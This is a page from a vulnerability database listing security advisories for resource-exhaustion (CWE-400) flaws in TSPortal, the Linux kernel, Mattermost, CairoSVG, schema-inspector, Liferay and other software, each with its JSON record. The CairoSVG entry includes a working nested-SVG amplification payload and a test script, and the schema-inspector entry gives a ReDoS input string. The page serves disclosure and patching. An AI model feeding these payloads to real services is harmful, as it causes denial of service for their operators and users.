CWE-400
DiscouragedUncontrolled Resource Consumption
Abstraction: Class · Status: Draft
The product does not properly control the allocation and maintenance of a limited resource.
5567 vulnerabilities reference this CWE, most recent first.
GHSA-F346-8RP3-4H9H
Vulnerability from github – Published: 2026-03-27 15:42 – Updated: 2026-03-27 15:42Summary
A flaw in TSPortal allowed attackers to create arbitrary user records in the database by abusing validation logic. While validation correctly rejected invalid usernames, a side effect within a validation rule caused user records to be created regardless of whether the request succeeded. This could be exploited to cause uncontrolled database growth, leading to a potential denial of service (DoS).
Details
When submitting a Data Processing Agreement (DPA) request in TSPortal, the DPAAlreadyLive validation rule previously called User::findOrCreate().
This method created a user record if one did not already exist.
Although username validation (via MirahezeUsernameRule) correctly rejected invalid usernames, the DPAAlreadyLive rule was still executed during validation. Because it performed a state-changing operation, it created user records even when the overall validation failed and no DPA was created.
As a result: - Validation correctly rejected invalid input - However, user records were still inserted into the database as a side effect
These records were created: - Without a successful DPA request - Without audit logging tied to a completed action - Without visibility into their origin
Impact
An attacker could exploit this behavior by automating requests with invalid usernames, resulting in:
- Mass creation of arbitrary user records
- Unbounded database growth
- Increased storage and indexing overhead
- Potential degradation of application performance
At scale, this could lead to a denial of service condition due to resource exhaustion.
Proof of Concept
- Submit a DPA request using an invalid username
- Ensure the request fails validation due to
MirahezeUsernameRule - Observe that a corresponding user record is still created in the database
This behavior was confirmed prior to remediation.
Root Cause
The issue stemmed from:
- Performing state-changing operations (findOrCreate) inside validation logic
- Validation rules executing regardless of overall validation success
- Lack of separation between validation and persistence layers
Mitigation
The issue has been fixed by removing database write operations from validation logic.
Specifically:
- Replaced User::findOrCreate() with a non-mutating lookup (User::firstWhere(...))
- Ensured validation rules only perform read operations
- Prevented user creation unless all validation passes
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 33"
},
"package": {
"ecosystem": "Packagist",
"name": "miraheze/ts-portal"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "34"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-33541"
],
"database_specific": {
"cwe_ids": [
"CWE-400",
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-27T15:42:20Z",
"nvd_published_at": "2026-03-26T21:17:05Z",
"severity": "MODERATE"
},
"details": "### Summary\nA flaw in TSPortal allowed attackers to create arbitrary user records in the database by abusing validation logic. While validation correctly rejected invalid usernames, a side effect within a validation rule caused user records to be created regardless of whether the request succeeded. This could be exploited to cause uncontrolled database growth, leading to a potential denial of service (DoS).\n\n### Details\nWhen submitting a Data Processing Agreement (DPA) request in TSPortal, the `DPAAlreadyLive` validation rule previously called `User::findOrCreate()`.\n\nThis method created a user record if one did not already exist.\n\nAlthough username validation (via `MirahezeUsernameRule`) correctly rejected invalid usernames, the `DPAAlreadyLive` rule was still executed during validation. Because it performed a state-changing operation, it created user records even when the overall validation failed and no DPA was created.\n\nAs a result:\n- Validation correctly rejected invalid input\n- However, user records were still inserted into the database as a side effect\n\nThese records were created:\n- Without a successful DPA request\n- Without audit logging tied to a completed action\n- Without visibility into their origin\n\n### Impact\nAn attacker could exploit this behavior by automating requests with invalid usernames, resulting in:\n\n- Mass creation of arbitrary user records\n- Unbounded database growth\n- Increased storage and indexing overhead\n- Potential degradation of application performance\n\nAt scale, this could lead to a denial of service condition due to resource exhaustion.\n\n### Proof of Concept\n1. Submit a DPA request using an invalid username\n2. Ensure the request fails validation due to `MirahezeUsernameRule`\n3. Observe that a corresponding user record is still created in the database\n\nThis behavior was confirmed prior to remediation.\n\n### Root Cause\nThe issue stemmed from:\n- Performing state-changing operations (`findOrCreate`) inside validation logic\n- Validation rules executing regardless of overall validation success\n- Lack of separation between validation and persistence layers\n\n### Mitigation\nThe issue has been fixed by removing database write operations from validation logic.\n\nSpecifically:\n- Replaced `User::findOrCreate()` with a non-mutating lookup (`User::firstWhere(...)`)\n- Ensured validation rules only perform read operations\n- Prevented user creation unless all validation passes",
"id": "GHSA-f346-8rp3-4h9h",
"modified": "2026-03-27T15:42:20Z",
"published": "2026-03-27T15:42:20Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/miraheze/TSPortal/security/advisories/GHSA-f346-8rp3-4h9h"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33541"
},
{
"type": "PACKAGE",
"url": "https://github.com/miraheze/TSPortal"
},
{
"type": "WEB",
"url": "https://issue-tracker.miraheze.org/T15115"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "TSPortal\u0027s Uncontrolled User Creation via Validation Side Effects Leads to Potential Denial of Service"
}
GHSA-F353-MFHF-JFH7
Vulnerability from github – Published: 2024-05-21 15:31 – Updated: 2024-07-03 18:42In the Linux kernel, the following vulnerability has been resolved:
scsi: megaraid_sas: Fix resource leak in case of probe failure
The driver doesn't clean up all the allocated resources properly when scsi_add_host(), megasas_start_aen() function fails during the PCI device probe.
Clean up all those resources.
{
"affected": [],
"aliases": [
"CVE-2021-47329"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-05-21T15:15:19Z",
"severity": "MODERATE"
},
"details": "In the Linux kernel, the following vulnerability has been resolved:\n\nscsi: megaraid_sas: Fix resource leak in case of probe failure\n\nThe driver doesn\u0027t clean up all the allocated resources properly when\nscsi_add_host(), megasas_start_aen() function fails during the PCI device\nprobe.\n\nClean up all those resources.",
"id": "GHSA-f353-mfhf-jfh7",
"modified": "2024-07-03T18:42:48Z",
"published": "2024-05-21T15:31:43Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-47329"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/04b6b9ea80906e3b41ff120b45db31768947cf72"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/0680db6f41920b2c91c7df3cc9cd5968701a6f74"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/0c6226601c3e191a44a57d8f9f814b7e5c308959"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/b5438f48fdd8e1c3f130d32637511efd32038152"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/e623f79691c5104317669ab36ec316a90c05062f"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-F37Q-Q7P2-CCFC
Vulnerability from github – Published: 2022-04-14 00:00 – Updated: 2022-04-26 13:05The image proxy component in Mattermost version 6.4.1 and earlier allocates memory for multiple copies of a proxied image, which allows an authenticated attacker to crash the server via links to very large image files.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/mattermost/mattermost-server/v6"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "6.4.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2022-1337"
],
"database_specific": {
"cwe_ids": [
"CWE-400",
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2022-04-26T13:05:37Z",
"nvd_published_at": "2022-04-13T18:15:00Z",
"severity": "MODERATE"
},
"details": "The image proxy component in Mattermost version 6.4.1 and earlier allocates memory for multiple copies of a proxied image, which allows an authenticated attacker to crash the server via links to very large image files.",
"id": "GHSA-f37q-q7p2-ccfc",
"modified": "2022-04-26T13:05:37Z",
"published": "2022-04-14T00:00:17Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-1337"
},
{
"type": "PACKAGE",
"url": "https://github.com/mattermost/mattermost-server"
},
{
"type": "WEB",
"url": "https://mattermost.com/security-updates"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Resource exhaustion in Mattermost"
}
GHSA-F37R-2V2W-7R8W
Vulnerability from github – Published: 2022-05-13 01:24 – Updated: 2025-04-20 03:32The TCP stack in the Linux kernel 3.x does not properly implement a SYN cookie protection mechanism for the case of a fast network connection, which allows remote attackers to cause a denial of service (CPU consumption) by sending many TCP SYN packets, as demonstrated by an attack against the kernel-3.10.0 package in CentOS Linux 7. NOTE: third parties have been unable to discern any relationship between the GitHub Engineering finding and the Trigemini.c attack code.
{
"affected": [],
"aliases": [
"CVE-2017-5972"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2017-02-14T06:59:00Z",
"severity": "HIGH"
},
"details": "The TCP stack in the Linux kernel 3.x does not properly implement a SYN cookie protection mechanism for the case of a fast network connection, which allows remote attackers to cause a denial of service (CPU consumption) by sending many TCP SYN packets, as demonstrated by an attack against the kernel-3.10.0 package in CentOS Linux 7. NOTE: third parties have been unable to discern any relationship between the GitHub Engineering finding and the Trigemini.c attack code.",
"id": "GHSA-f37r-2v2w-7r8w",
"modified": "2025-04-20T03:32:50Z",
"published": "2022-05-13T01:24:46Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2017-5972"
},
{
"type": "WEB",
"url": "https://access.redhat.com/security/cve/cve-2017-5972"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=1422081"
},
{
"type": "WEB",
"url": "https://cxsecurity.com/issue/WLB-2017020112"
},
{
"type": "WEB",
"url": "https://githubengineering.com/syn-flood-mitigation-with-synsanity"
},
{
"type": "WEB",
"url": "https://packetstormsecurity.com/files/141083/CentOS7-Kernel-Denial-Of-Service.html"
},
{
"type": "WEB",
"url": "https://security-tracker.debian.org/tracker/CVE-2017-5972"
},
{
"type": "WEB",
"url": "https://www.exploit-db.com/exploits/41350"
},
{
"type": "WEB",
"url": "http://seclists.org/oss-sec/2017/q1/573"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/96231"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-F38F-5XPM-9R7C
Vulnerability from github – Published: 2026-03-13 18:57 – Updated: 2026-04-15 21:09Summary
Kozea/CairoSVG (~300K downloads/week) has exponential denial of service via recursive <use> element amplification in cairosvg/defs.py (line ~335). This causes CPU exhaustion from a small input.
Severity
High — CVSS 3.1: 7.5
Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Vulnerable Code
File: cairosvg/defs.py (line ~335), function use()
The use() function recursively processes <use> elements without any depth or count limits. With 5 levels of nesting and 10 references each, a 1,411-byte SVG triggers 10^5 = 100,000 render calls.
Impact
- 1,411-byte SVG payload pins CPU at 100% indefinitely
- Memory stays flat at ~43MB — no OOM kill, process never terminates
- Any service accepting SVG input (thumbnailing, PDF generation, avatar rendering) is DoS-able
- Amplification factor: O(10^N) rendering calls from O(N) input
Proof of Concept
Save as poc.svg and run timeout 10 cairosvg poc.svg -o test.png:
<?xml version="1.0"?>
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<defs>
<g id="a"><rect width="1" height="1"/></g>
<g id="b"><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/></g>
<g id="c"><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/></g>
<g id="d"><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/></g>
<g id="e"><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/></g>
</defs>
<use xlink:href="#e"/>
</svg>
Expected: timeout kills the process after 10 seconds (it never completes on its own).
Alternatively test with Python:
import cairosvg, signal
signal.alarm(5) # Kill after 5 seconds
try:
cairosvg.svg2png(bytestring=open("poc.svg").read())
except:
print("[!!!] CONFIRMED: CPU exhaustion — process did not complete in 5s")
Suggested Fix
Add recursion depth counter to use() function. Cap at e.g. 10 levels. Also add total element budget to prevent amplification.
References
Credit
Kai Aizen (SnailSploit) — Adversarial AI & Security Research
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.8.2"
},
"package": {
"ecosystem": "PyPI",
"name": "CairoSVG"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.9.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-31899"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-13T18:57:31Z",
"nvd_published_at": "2026-03-13T19:54:38Z",
"severity": "HIGH"
},
"details": "## Summary\n\nKozea/CairoSVG (~300K downloads/week) has exponential denial of service via recursive `\u003cuse\u003e` element amplification in `cairosvg/defs.py` (line ~335). This causes CPU exhaustion from a small input.\n\n## Severity\n\nHigh \u2014 CVSS 3.1: 7.5\nVector: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H`\n\n## Vulnerable Code\n\nFile: `cairosvg/defs.py` (line ~335), function `use()`\n\nThe `use()` function recursively processes `\u003cuse\u003e` elements without any depth or count limits. With 5 levels of nesting and 10 references each, a 1,411-byte SVG triggers 10^5 = 100,000 render calls.\n\n## Impact\n\n- 1,411-byte SVG payload pins CPU at 100% indefinitely\n- Memory stays flat at ~43MB \u2014 no OOM kill, process never terminates\n- Any service accepting SVG input (thumbnailing, PDF generation, avatar rendering) is DoS-able\n- Amplification factor: O(10^N) rendering calls from O(N) input\n\n## Proof of Concept\n\nSave as `poc.svg` and run `timeout 10 cairosvg poc.svg -o test.png`:\n\n```xml\n\u003c?xml version=\"1.0\"?\u003e\n\u003csvg xmlns=\"http://www.w3.org/2000/svg\" xmlns:xlink=\"http://www.w3.org/1999/xlink\"\u003e\n \u003cdefs\u003e\n \u003cg id=\"a\"\u003e\u003crect width=\"1\" height=\"1\"/\u003e\u003c/g\u003e\n \u003cg id=\"b\"\u003e\u003cuse xlink:href=\"#a\"/\u003e\u003cuse xlink:href=\"#a\"/\u003e\u003cuse xlink:href=\"#a\"/\u003e\u003cuse xlink:href=\"#a\"/\u003e\u003cuse xlink:href=\"#a\"/\u003e\u003cuse xlink:href=\"#a\"/\u003e\u003cuse xlink:href=\"#a\"/\u003e\u003cuse xlink:href=\"#a\"/\u003e\u003cuse xlink:href=\"#a\"/\u003e\u003cuse xlink:href=\"#a\"/\u003e\u003c/g\u003e\n \u003cg id=\"c\"\u003e\u003cuse xlink:href=\"#b\"/\u003e\u003cuse xlink:href=\"#b\"/\u003e\u003cuse xlink:href=\"#b\"/\u003e\u003cuse xlink:href=\"#b\"/\u003e\u003cuse xlink:href=\"#b\"/\u003e\u003cuse xlink:href=\"#b\"/\u003e\u003cuse xlink:href=\"#b\"/\u003e\u003cuse xlink:href=\"#b\"/\u003e\u003cuse xlink:href=\"#b\"/\u003e\u003cuse xlink:href=\"#b\"/\u003e\u003c/g\u003e\n \u003cg id=\"d\"\u003e\u003cuse xlink:href=\"#c\"/\u003e\u003cuse xlink:href=\"#c\"/\u003e\u003cuse xlink:href=\"#c\"/\u003e\u003cuse xlink:href=\"#c\"/\u003e\u003cuse xlink:href=\"#c\"/\u003e\u003cuse xlink:href=\"#c\"/\u003e\u003cuse xlink:href=\"#c\"/\u003e\u003cuse xlink:href=\"#c\"/\u003e\u003cuse xlink:href=\"#c\"/\u003e\u003cuse xlink:href=\"#c\"/\u003e\u003c/g\u003e\n \u003cg id=\"e\"\u003e\u003cuse xlink:href=\"#d\"/\u003e\u003cuse xlink:href=\"#d\"/\u003e\u003cuse xlink:href=\"#d\"/\u003e\u003cuse xlink:href=\"#d\"/\u003e\u003cuse xlink:href=\"#d\"/\u003e\u003cuse xlink:href=\"#d\"/\u003e\u003cuse xlink:href=\"#d\"/\u003e\u003cuse xlink:href=\"#d\"/\u003e\u003cuse xlink:href=\"#d\"/\u003e\u003cuse xlink:href=\"#d\"/\u003e\u003c/g\u003e\n \u003c/defs\u003e\n \u003cuse xlink:href=\"#e\"/\u003e\n\u003c/svg\u003e\n```\n\nExpected: `timeout` kills the process after 10 seconds (it never completes on its own).\n\nAlternatively test with Python:\n```python\nimport cairosvg, signal\nsignal.alarm(5) # Kill after 5 seconds\ntry:\n cairosvg.svg2png(bytestring=open(\"poc.svg\").read())\nexcept:\n print(\"[!!!] CONFIRMED: CPU exhaustion \u2014 process did not complete in 5s\")\n```\n\n## Suggested Fix\n\nAdd recursion depth counter to `use()` function. Cap at e.g. 10 levels. Also add total element budget to prevent amplification.\n\n## References\n\n- [CWE-400](https://cwe.mitre.org/data/definitions/400.html)\n\n## Credit\n\nKai Aizen (SnailSploit) \u2014 Adversarial AI \u0026 Security Research",
"id": "GHSA-f38f-5xpm-9r7c",
"modified": "2026-04-15T21:09:46Z",
"published": "2026-03-13T18:57:31Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/Kozea/CairoSVG/security/advisories/GHSA-f38f-5xpm-9r7c"
},
{
"type": "WEB",
"url": "https://github.com/Kozea/CairoSVG/commit/6dde8685ed3f19837767bce7a13a5491e3d0e0bf"
},
{
"type": "PACKAGE",
"url": "https://github.com/Kozea/CairoSVG"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "CairoSVG vulnerable to Exponential DoS via recursive \u003cuse\u003e element amplification"
}
GHSA-F38P-C2GQ-4PMR
Vulnerability from github – Published: 2021-03-19 20:14 – Updated: 2022-07-05 18:05Impact
What kind of vulnerability is it? Who is impacted?
Email address validation is vulnerable to a denial-of-service attack where some input (for example a@0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.) will freeze the program or web browser page executing the code. This affects any current schema-inspector users using any version to validate email addresses. Users who do not do email validation, and instead do other types of validation (like string min or max length, etc), are not affected.
Patches
Has the problem been patched? What versions should users upgrade to? Users should upgrade to version 2.0.0, which uses a regex expression that isn't vulnerable to ReDoS. The new regex expression is more limited in what it can check, so it is more flexible than the one used before. Therefore, this was a new major version instead of a new patch version to warn people upgrading that they should make sure the email validation still works for their use case.
Workarounds
Is there a way for users to fix or remediate the vulnerability without upgrading? If a user chooses to not upgrade, the only known workaround would be to stop using the email validation feature in the library. The user could, for example, accept the email address into their system but save it in a "not yet validated" state in their system until a verification email is sent to it (to determine whether the email is valid and belongs to the form submitter). Note that this is the preferred way of validating email addresses anyways.
References
Are there any links users can visit to find out more? https://gist.github.com/mattwelke/b7f42424680a57b8161794ad1737cd8f
For more information
If you have any questions or comments about this advisory, you can create an issue in this repository.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "schema-inspector"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.0.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2021-21267"
],
"database_specific": {
"cwe_ids": [
"CWE-20",
"CWE-400"
],
"github_reviewed": true,
"github_reviewed_at": "2021-03-19T20:14:08Z",
"nvd_published_at": "2021-03-19T21:15:00Z",
"severity": "HIGH"
},
"details": "### Impact\n_What kind of vulnerability is it? Who is impacted?_\nEmail address validation is vulnerable to a denial-of-service attack where some input (for example `a@0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.`) will freeze the program or web browser page executing the code. This affects any current schema-inspector users using any version to validate email addresses. Users who do not do email validation, and instead do other types of validation (like string min or max length, etc), are not affected.\n\n### Patches\n_Has the problem been patched? What versions should users upgrade to?_\nUsers should upgrade to version 2.0.0, which uses a regex expression that isn\u0027t vulnerable to ReDoS. The new regex expression is more limited in what it can check, so it is more flexible than the one used before. Therefore, this was a new major version instead of a new patch version to warn people upgrading that they should make sure the email validation still works for their use case. \n\n### Workarounds\n_Is there a way for users to fix or remediate the vulnerability without upgrading?_\nIf a user chooses to not upgrade, the only known workaround would be to stop using the email validation feature in the library. The user could, for example, accept the email address into their system but save it in a \"not yet validated\" state in their system until a verification email is sent to it (to determine whether the email is valid and belongs to the form submitter). Note that this is the preferred way of validating email addresses anyways.\n\n### References\n_Are there any links users can visit to find out more?_\nhttps://gist.github.com/mattwelke/b7f42424680a57b8161794ad1737cd8f\n\n### For more information\nIf you have any questions or comments about this advisory, you can create an issue in this repository.",
"id": "GHSA-f38p-c2gq-4pmr",
"modified": "2022-07-05T18:05:18Z",
"published": "2021-03-19T20:14:21Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/schema-inspector/schema-inspector/security/advisories/GHSA-f38p-c2gq-4pmr"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-21267"
},
{
"type": "WEB",
"url": "https://gist.github.com/mattwelke/b7f42424680a57b8161794ad1737cd8f"
},
{
"type": "WEB",
"url": "https://github.com/schema-inspector/schema-inspector/releases/tag/2.0.0"
},
{
"type": "WEB",
"url": "https://security.netapp.com/advisory/ntap-20210528-0006"
},
{
"type": "WEB",
"url": "https://www.npmjs.com/package/schema-inspector"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Regular Expression Denial-of-Service in npm schema-inspector"
}
GHSA-F392-JC49-593J
Vulnerability from github – Published: 2022-05-24 17:43 – Updated: 2022-05-24 17:43Trend Micro's Virus Scan API (VSAPI) and Advanced Threat Scan Engine (ATSE) - are vulnerable to a memory exhaustion vulnerability that may lead to denial-of-service or system freeze if exploited by an attacker using a specially crafted file.
{
"affected": [],
"aliases": [
"CVE-2021-25252"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-03-03T16:15:00Z",
"severity": "MODERATE"
},
"details": "Trend Micro\u0027s Virus Scan API (VSAPI) and Advanced Threat Scan Engine (ATSE) - are vulnerable to a memory exhaustion vulnerability that may lead to denial-of-service or system freeze if exploited by an attacker using a specially crafted file.",
"id": "GHSA-f392-jc49-593j",
"modified": "2022-05-24T17:43:35Z",
"published": "2022-05-24T17:43:34Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-25252"
},
{
"type": "WEB",
"url": "https://success.trendmicro.com/solution/000285675"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-F39X-GX7X-WWFJ
Vulnerability from github – Published: 2024-02-12 09:31 – Updated: 2024-02-14 18:30Processing of user-defined mail search expressions is not limited. Availability of OX App Suite could be reduced due to high processing load. Please deploy the provided updates and patch releases. Processing time of mail search expressions now gets monitored, and the related request is terminated if a resource threshold is reached. No publicly available exploits are known.
{
"affected": [],
"aliases": [
"CVE-2023-41707"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-02-12T09:15:11Z",
"severity": "MODERATE"
},
"details": "Processing of user-defined mail search expressions is not limited. Availability of OX App Suite could be reduced due to high processing load. Please deploy the provided updates and patch releases. Processing time of mail search expressions now gets monitored, and the related request is terminated if a resource threshold is reached.\n No publicly available exploits are known.",
"id": "GHSA-f39x-gx7x-wwfj",
"modified": "2024-02-14T18:30:24Z",
"published": "2024-02-12T09:31:27Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-41707"
},
{
"type": "WEB",
"url": "https://documentation.open-xchange.com/appsuite/security/advisories/csaf/2023/oxas-adv-2023-0007.json"
},
{
"type": "WEB",
"url": "https://software.open-xchange.com/products/appsuite/doc/Release_Notes_for_Patch_Release_6259_7.10.6_2023-12-11.pdf"
},
{
"type": "WEB",
"url": "http://packetstormsecurity.com/files/177130/OX-App-Suite-7.10.6-Cross-Site-Scirpting-Denial-Of-Service.html"
},
{
"type": "WEB",
"url": "http://seclists.org/fulldisclosure/2024/Feb/10"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-F3G2-HMGR-Q2MJ
Vulnerability from github – Published: 2024-04-09 03:30 – Updated: 2024-09-29 00:30The ABAP Application Server of SAP NetWeaver as well as ABAP Platform allows an attacker to prevent legitimate users from accessing a service, either by crashing or flooding the service. This leads to a considerable impact on availability.
{
"affected": [],
"aliases": [
"CVE-2024-30218"
],
"database_specific": {
"cwe_ids": [
"CWE-400",
"CWE-605"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-04-09T01:15:50Z",
"severity": "MODERATE"
},
"details": "The ABAP Application Server of SAP NetWeaver as well as ABAP Platform\u00a0allows an attacker to prevent legitimate users from accessing a service, either by crashing or flooding the service. This leads to a considerable impact on availability.\n\n",
"id": "GHSA-f3g2-hmgr-q2mj",
"modified": "2024-09-29T00:30:57Z",
"published": "2024-04-09T03:30:53Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-30218"
},
{
"type": "WEB",
"url": "https://me.sap.com/notes/3359778"
},
{
"type": "WEB",
"url": "https://support.sap.com/en/my-support/knowledge-base/security-notes-news.html?anchorId=section_370125364"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-F3HF-R62C-MFRJ
Vulnerability from github – Published: 2025-09-12 21:32 – Updated: 2025-09-15 13:46Liferay Portal 7.4.0 through 7.4.3.101, and Liferay DXP 2023.Q3.0 through 2023.Q3.4, 7.4 GA through update 92 and 7.3 GA though update 35 does not limit the number of objects returned from a GraphQL queries, which allows remote attackers to perform denial-of-service (DoS) attacks on the application by executing queries that return a large number of objects.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "com.liferay:com.liferay.portal.vulcan.api"
},
"ranges": [
{
"events": [
{
"introduced": "8.0.2"
},
{
"fixed": "40.2.0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "com.liferay:com.liferay.portal.vulcan.impl"
},
"ranges": [
{
"events": [
{
"introduced": "5.0.7"
},
{
"fixed": "5.0.105"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-43796"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": true,
"github_reviewed_at": "2025-09-15T13:46:24Z",
"nvd_published_at": "2025-09-12T20:15:42Z",
"severity": "HIGH"
},
"details": "Liferay Portal 7.4.0 through 7.4.3.101, and Liferay DXP 2023.Q3.0 through 2023.Q3.4, 7.4 GA through update 92 and 7.3 GA though update 35 does not limit the number of objects returned from a GraphQL queries, which allows remote attackers to perform denial-of-service (DoS) attacks on the application by executing queries that return a large number of objects.",
"id": "GHSA-f3hf-r62c-mfrj",
"modified": "2025-09-15T13:46:24Z",
"published": "2025-09-12T21:32:14Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-43796"
},
{
"type": "WEB",
"url": "https://github.com/liferay/liferay-portal/commit/2e4adf041e31f3474a14c29b7c135693f6529400"
},
{
"type": "WEB",
"url": "https://github.com/liferay/liferay-portal/commit/2f74f23982fb03238f9b4ae145c33a9c1084f07e"
},
{
"type": "WEB",
"url": "https://github.com/liferay/liferay-portal/commit/3780804b0d8f4f14bfca470a3e2e662bc6cef588"
},
{
"type": "WEB",
"url": "https://github.com/liferay/liferay-portal/commit/8344aec3bebcd2ca409794523d5db5be6047c3dd"
},
{
"type": "WEB",
"url": "https://github.com/liferay/liferay-portal/commit/83e77963499d4d3e7cc82cc48e63c992f6f29a6d"
},
{
"type": "WEB",
"url": "https://github.com/liferay/liferay-portal/commit/8dda4adc0e9e7b6f82d4b3959592cad61640309b"
},
{
"type": "WEB",
"url": "https://github.com/liferay/liferay-portal"
},
{
"type": "WEB",
"url": "https://liferay.dev/portal/security/known-vulnerabilities/-/asset_publisher/jekt/content/CVE-2025-43796"
},
{
"type": "WEB",
"url": "http://github.com/liferay/liferay-portal/commit/8f7eb98e05a5ea6961346ecc21fd73e4b46bba99"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Liferay Portal: Missing Rate Limiting in GraphQL Endpoint Enables Resource Exhaustion Attack"
}
Mitigation
